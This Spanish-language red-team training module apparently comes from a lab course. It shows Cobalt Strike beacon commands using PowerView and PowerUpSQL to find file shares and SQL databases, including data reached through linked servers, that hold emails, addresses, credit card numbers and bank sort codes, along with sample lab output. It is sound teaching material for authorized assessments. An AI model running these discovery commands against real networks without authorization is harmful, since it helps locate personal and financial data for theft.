Data Hunting & Exfiltration
Data Hunting & Exfiltration
Las organizaciones almacenan datos en una amplia variedad de lugares, como file shares, bases de datos, SharePoint, wikis internas, entre otros. Como red teamer, necesitas encontrar el "objetivo" de tu operación y luego demostrar el acceso a ese objetivo a tu cliente. Enfatizo "acceso" específicamente, porque no deseas copiar o mover datos sensibles fuera de su ubicación, especialmente en entornos regulados.
Al planificar la evaluación con tu cliente, una buena estrategia para sugerir es crear un repositorio de datos ficticio que esté sujeto a los mismos controles de seguridad pero que no contenga datos reales (podrían ser datos falsos u ofuscados). Esos datos pueden ser generados por ti o por el cliente y serían seguros para eliminar del entorno.
De lo contrario, puedes demostrar acceso a datos reales, pero realizar un ejercicio de exfiltración con datos ficticios. Estos pueden tener la misma estructura y propiedades que los datos reales, pero el contenido en sí no sería sensible.
Los ejercicios de exfiltración son un paso importante para evaluar qué tan efectivamente una organización puede detectar y responder a la extracción de sus datos sensibles por cualquier medio (email, HTTP, FTP, etc).
File Shares
Find-DomainShare en PowerView busca recursos compartidos en el dominio. El parámetro -CheckShareAccess solo muestra aquellos recursos a los que el usuario actual tiene acceso de lectura.
beacon> powershell Find-DomainShare -CheckShareAccess
Name Type Remark ComputerName
---- ---- ------ ------------
CertEnroll 0 Active Directory Certificate Services share dc-2.dev.cyberbotic.io
home$ 0 dc-2.dev.cyberbotic.io
NETLOGON 0 Logon server share dc-2.dev.cyberbotic.io
software 0 dc-2.dev.cyberbotic.io
SYSVOL 0 Logon server share dc-2.dev.cyberbotic.io
finance$ 0 fs.dev.cyberbotic.io
Find-InterestingDomainShareFile lleva esto un paso más allá y busca en cada recurso compartido, devolviendo resultados donde aparecen las cadenas especificadas en la ruta.
beacon> powershell Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*
Owner : BUILTIN\Administrators
CreationTime : 9/15/2022 4:22:55 PM
Path : \\fs.dev.cyberbotic.io\finance$\export.csv
LastAccessTime : 9/15/2022 4:23:21 PM
LastWriteTime : 9/15/2022 4:22:55 PM
Length : 8076
beacon> powershell gc \\fs.dev.cyberbotic.io\finance$\export.csv | select -first 5
id,first_name,last_name,email,address,postal_code,credit_card
1,Emmery,Sutton,esutton0@blogspot.com,4788 Ronald Regan Drive,,374288148757510
2,Abie,Maffezzoli,amaffezzoli1@dagondesign.com,6897 Butternut Alley,,374288483637400
3,Rosina,Mellows,rmellows2@google.pl,100 Commercial Hill,,374283426936183
4,Glen,Chatwood,gchatwood3@bbc.co.uk,59046 Northview Trail,,374283883423493
Databases
PowerUpSQL proporciona varios cmdlets diseñados para la búsqueda y extracción de datos. Uno de esos cmdlets es Get-SQLColumnSampleDataThreaded, que puede buscar en una o más instancias bases de datos que contengan palabras clave específicas en los nombres de las columnas.
beacon> powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "email,address,credit,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize
Instance Database Column Sample
-------- -------- ------ ------
sql-2.dev.cyberbotic.io,1433 master email ritzhaki0@gov.uk
sql-2.dev.cyberbotic.io,1433 master email ldureden1@angelfire.com
sql-2.dev.cyberbotic.io,1433 master email gfaussett2@quantcast.com
sql-2.dev.cyberbotic.io,1433 master email bcrumb3@cpanel.net
sql-2.dev.cyberbotic.io,1433 master email ldirkin4@123-reg.co.uk
sql-2.dev.cyberbotic.io,1433 master address 5575 8th Plaza
sql-2.dev.cyberbotic.io,1433 master address 759 Schmedeman Avenue
sql-2.dev.cyberbotic.io,1433 master address 077 Menomonie Parkway
sql-2.dev.cyberbotic.io,1433 master address 99 Gerald Street
sql-2.dev.cyberbotic.io,1433 master address 150 Raven Court
sql-2.dev.cyberbotic.io,1433 master credit_card 374288069616869
sql-2.dev.cyberbotic.io,1433 master credit_card 374288681554928
sql-2.dev.cyberbotic.io,1433 master credit_card 374283595554411
sql-2.dev.cyberbotic.io,1433 master credit_card 374283532455854
sql-2.dev.cyberbotic.io,1433 master credit_card 374288154929482
Esto solo puede buscar en las instancias a las que tienes acceso directo; no atravesará enlaces SQL. Para buscar a través de los enlaces, utiliza Get-SQLQuery.
beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select * from openquery(""sql-1.cyberbotic.io"", 'select * from information_schema.tables')"
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
------------- ------------ ---------- ----------
master dbo spt_fallback_db BASE TABLE
master dbo spt_fallback_dev BASE TABLE
master dbo spt_fallback_usg BASE TABLE
master dbo employees BASE TABLE
master dbo spt_values VIEW
master dbo spt_monitor BASE TABLE
master dbo MSreplication_options BASE TABLE
Nota la tabla "employees". A continuación, enumera sus columnas.
beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select * from openquery(""sql-1.cyberbotic.io"", 'select column_name from master.information_schema.columns where table_name=''employees''')"
column_name
-----------
id
first_name
last_name
gender
address
post_code
sort_code
account_number
Finalmente, toma una muestra de datos.
beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select * from openquery(""sql-1.cyberbotic.io"", 'select top 5 first_name,gender,sort_code from master.dbo.employees')"
first_name gender sort_code
---------- ------ ---------
Juliann Female 09-46-87
Rhodie Female 89-74-73
Calypso Female 77-33-04
Burt Male 36-84-98
Gayelord Male 28-16-45
Si estos son datos reales, no extraigas múltiples columnas que puedan correlacionarse entre sí. Como en este ejemplo, toma una muestra de una columna que no signifique mucho por sí sola. Para simular la exfiltración de datos en grandes volúmenes, revisa Egress Assess.